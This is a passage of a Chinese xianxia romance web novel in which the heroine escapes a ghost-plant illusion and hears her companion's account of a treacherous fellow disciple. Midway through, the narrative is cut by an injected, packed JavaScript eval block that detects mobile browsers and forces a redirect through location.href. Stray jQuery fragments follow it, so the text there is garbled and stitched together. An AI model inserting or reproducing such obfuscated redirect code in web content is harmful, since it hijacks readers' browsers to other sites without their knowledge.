观音鬼草依旧把时间线重启到了准备成婚的那一天,于长街之上。
这一次,幻境内却发生了变化。慕轻尘不再坐在酒楼中央,而是在路遥到来之前,率先站在了酒楼门口,等着她的到来。
远远的,慕轻尘看着青衣少女向他奔来的画面,不觉扬起了嘴角。少女盘着双丸子头,发髻上的毛球装饰还跟着一跳一跳。这样自然而然流露出的活泼与肆意,没有长期的宠爱浇灌,是养不成这种习惯的。
只少女眉眼微皱,似乎在为了什么事情烦忧。而这件事,明显与他相关。
慕轻尘环顾四周,觉得此处有些眼熟,但依旧破绽重重。他啧了一声,觉得有些好笑:“笨蛋,如今连这也看不破了吗?”
下一瞬,路遥便一把扑到慕轻尘身前,气喘吁吁,抬着头,小脸红扑扑,忙道:“慕轻尘!不要问我为什么,我们现在快走,马上就走,我们要浪迹天涯了。”
这会比遇到马力提前了半个时辰,路遥相信她一定不会重蹈覆辙。三十六计走为上计。她先带慕轻尘离开这个是非之地,以后的事情以后再说。
慕轻尘抬手揉了揉她的脑袋,问道:“你想去哪呢?”
“魔界、东海、问仙冢,哪里都好。再不走,那个混账马力又要杀过来了!真是烦人,我都杀他三四遍了还杀不死,他是小强吗?!怎么这么能活!”
路遥说话有些语无伦次,也不避讳自己知道的一切,把接下来要发生的事随随便便就告诉了慕轻尘。反正如果这次不行,下一把重来就好了。她可以在无数次的循环之中寻找解决问题的办法。
可她却已全然忘记自己现在身处于观音鬼草所创造的幻境当中,真真假假,一切都只为了利用她的执念,沉醉她的思想,吞噬她的肉身。
路遥的肉身如今离观音鬼草根部很近了,她已经没有下一次机会,现在再不觉醒,她必死无疑。
慕轻尘其实不知道路遥在幻境中具体经历了什么,但是他大概猜到了路遥的执念所在。他看着她,眼神变得深沉而复杂,似乎下了什么决心:“满满,走是没用的。我们有更需要做的事。”
路遥一愣,不解其意。
“你想拯救我,是吗?”慕轻尘问道。
路遥点了点头。
慕轻尘了然:“既然拯救我是你的执念,那么破解之法则需反其道而行之。满满,你应该杀了我。”
不知何时,藏于路遥袖中的匕首不知什么时候出现在自己的手中,而慕轻尘握住她持刀的手,一把刺穿了自己的心脏!
温热的鲜血喷涌而出,溅满路遥的脸颊,一切都发生得猝不及防,不给她任何的准备时间。
“不——不要——!”她拼命挣扎,泪水不受控制地滑落,声音嘶哑破碎,“为什么?!”
她想松手,可慕轻尘却依旧牢牢扣着自己,不让她有半分退缩。
路遥的心痛得无法呼吸,明明刺中的是慕轻尘的心脏,为什么她也会跟着窒息?
“满满,不要哭,这些都是假象。”慕轻尘伸手轻拭她的泪水,却只为眼前人的脸颊染上三道猩红,“况且......我没有心,所以,也不会痛。”
他缓缓俯身,不顾心口喷涌的鲜血,微微偏头,轻柔地吻上了路遥的唇。
这是轮回数十次,慕轻尘第一次的主动亲吻。这里面不带任何偏执,不带任何疯魔,没有汹涌的占有,只有小心翼翼的珍视与隐忍的爱意,似蜻蜓点水般,转瞬即逝却刻骨铭心。
轻柔的吻和血交织在一起,像道惊雷劈开混沌。路遥浑身一震,亲吻的触感还残留在唇瓣,心口的痛与唇间的微凉相互纠缠,让她瞬间忘了挣扎。
慕轻尘的身形在渐渐变得透明,而他身后所存在的一切,都在渐渐消散。
血红的印记在心口闪烁,是同心蛊的信号。
路遥猛地抬手按在心口,疼痛到窒息的创伤也撕裂了她的心口。一个难以置信却又无比笃定的念头在她心底炸开:
他不是梦中之人!
他不是虚假之幻。
他受伤,她也会痛。
他就是慕轻尘!真正的慕轻尘!
一切都在分崩离析,只有路遥的意识渐渐清醒。耳边从嘈杂的街角叫卖声,变成了一阵死寂,而后,她听到周围的风声不断,她似乎在急速下坠,在一片相当空旷的地下,黑色的洞窟里,慕轻尘抱着她、护着她,在即将落地的那一刻,打开如蛛网一般的稷灵丝,将两人稳稳接住。
这是一片由尸骨堆成的地下洞窟,湿润、泥泞,有巨大白色龙骨藏匿在土层之中,而其中最明显的,则是遍布四周,巨大粗壮的观音鬼草群。
路遥同慕轻尘紧紧相拥,她凑在他的心口,方才那一刀,虽然在幻境中刺下,此时此刻,心口却还在隐隐作痛。
他的心口是空的,傅观海的心脏早就停止了跳动,刚刚那一刀,其实并没有给他造成多少伤害。可路遥只觉得委屈,她的泪沾湿了慕轻尘的肩头,声音哑然,说话也软软的:“慕轻尘,我要告诉你一个秘密。”
她趴在慕轻尘的身上,附在他的耳边,说道:“我就是时微雨。”
“我知道。”慕轻尘将头藏进她的颈窝,贪婪地妄图一瞬占有他那失而复得的珍宝。
“我还要告诉你一个秘密。”路遥将吻轻轻落在了慕轻尘的右脸,道,“我喜欢你。”
“我也知道。”
在很久很久以前,就很喜欢很喜欢你了。
......
命运似乎总是更爱戏弄苦命人,而作者创造了路遥和慕轻尘,却似乎不爱他们。
又或者是,她喜欢故意戏弄自己笔下的人物。
慕轻尘等了路遥五百年,在原著中却落得一个惨死的结局。而路遥虽然被假象所蒙蔽,却到了故事的终点,掀起了自我反抗的狂潮。
系统只叹他们相聚得不容易,而路遥更加关心另一件事:“我要知道真相,我要知道一切的来龙去脉。”
“好。”
两人坐在稷灵丝织就的大网上,距离脚下尸骨还有一段距离。明明是一个幽森、恐怖的白骨洞窟,他俩愣是毫不在意,反倒在这里唠起家常
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415140|200751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“这个故事应该要从一千多年前说起。大概在一千年前,你、马力和我相继拜入妘青道人门下。你是天生的修仙奇才,我乃龙族后裔,所以修行多是一日千里,只有马力,天资并不算出众,就连师父也说,他这辈子顶多只道化神就再也无法有所长进。可是他却在化神以后,依旧追随我们的脚步步步高升,你知道为什么吗?”
路遥摇了摇头。
慕轻尘轻蔑一笑,道:“我当时也不甚了解,当然,我也懒得理他。只在行天阶时,才知这个决定有多么错误。马力,他这些年做的事,可比我这个魔道还魔道。”
路遥提起了精神,好奇心爆棚:“说说,我很想听。”
“他修邪术、炼傀儡,在暗地里吸取其他修士寿数、灵力、功法,甚至拆了那些天资卓越者的身体,拼成了自己的一副残躯。可以说,五百年前那人浑身上下,除了那一张脸。大概没有一个是本属于他自己的。”
听了这些,路遥觉得有些恶心:“所以在升仙考核那天,发生了什么?”
这些回忆似乎有些难以诉说,慕轻尘偏了偏头,不愿看她的眼睛:“我龙族虽与天界有仇,但天族除了龙族,也并非什么人都收。那人邪魔之气四溢,一入天阶便被识破。而你则因纯仙之体,通过考核,受赐仙骨。”
“然后呢?”路遥问道。
“然后......”慕轻尘闭上了眼睛,话中止不住恨意,“那个混账故技重施,妄图抢你的仙骨蒙混上天,而我......没阻止得了他。”
慕轻尘攥紧了手,几欲无法控制自己的怒意。就连臆想稳定的稷灵丝,也都在微微颤抖。
周身精怪作乱,也在那一瞬被他切成粉末。
路遥知道他的痛,他的恨。
她似乎能够与他感同身受。
路遥把手搭在他的手上,希望能够缓解他的一丝痛苦:“没关系,现在我不是还好好的嘛。”
慕轻尘突然将路遥拉入怀中,他的身体似乎在微微颤抖,他向来很能忍,却在此刻无法再隐没自己的情绪:“要是我能够再强一点点,只要一点点,就好。师姐......我真的,对不起你。”
......
他其实还有很多话没有跟她讲。
他没说自己作为龙族给师姐惹了多大麻烦;
他没有说自己徒手杀上缥缈峰上将她的尸骨带回来的惨相;
他更没有说那一万八千级的天阶......
因为这一切,都是他犯下的罪业。
他甚至,还没有手刃仇敌,为她打造一片安全的桃源。
而这一切,只有基于自己的强大才能办到。
首先,他至少要变得完整。
“你们两个说够了没有,当我这里是茶楼酒馆吗?!”此时此刻,那作乱一城的观音鬼草终于发话,它受够这两个人的卿卿我我。明明是它的食物,却吃起来这么麻烦。
慕轻尘抬眼,眸中沾满杀气。
他没有看到什么鬼草,他只看到自己的龙骨,在眼前呼之欲出。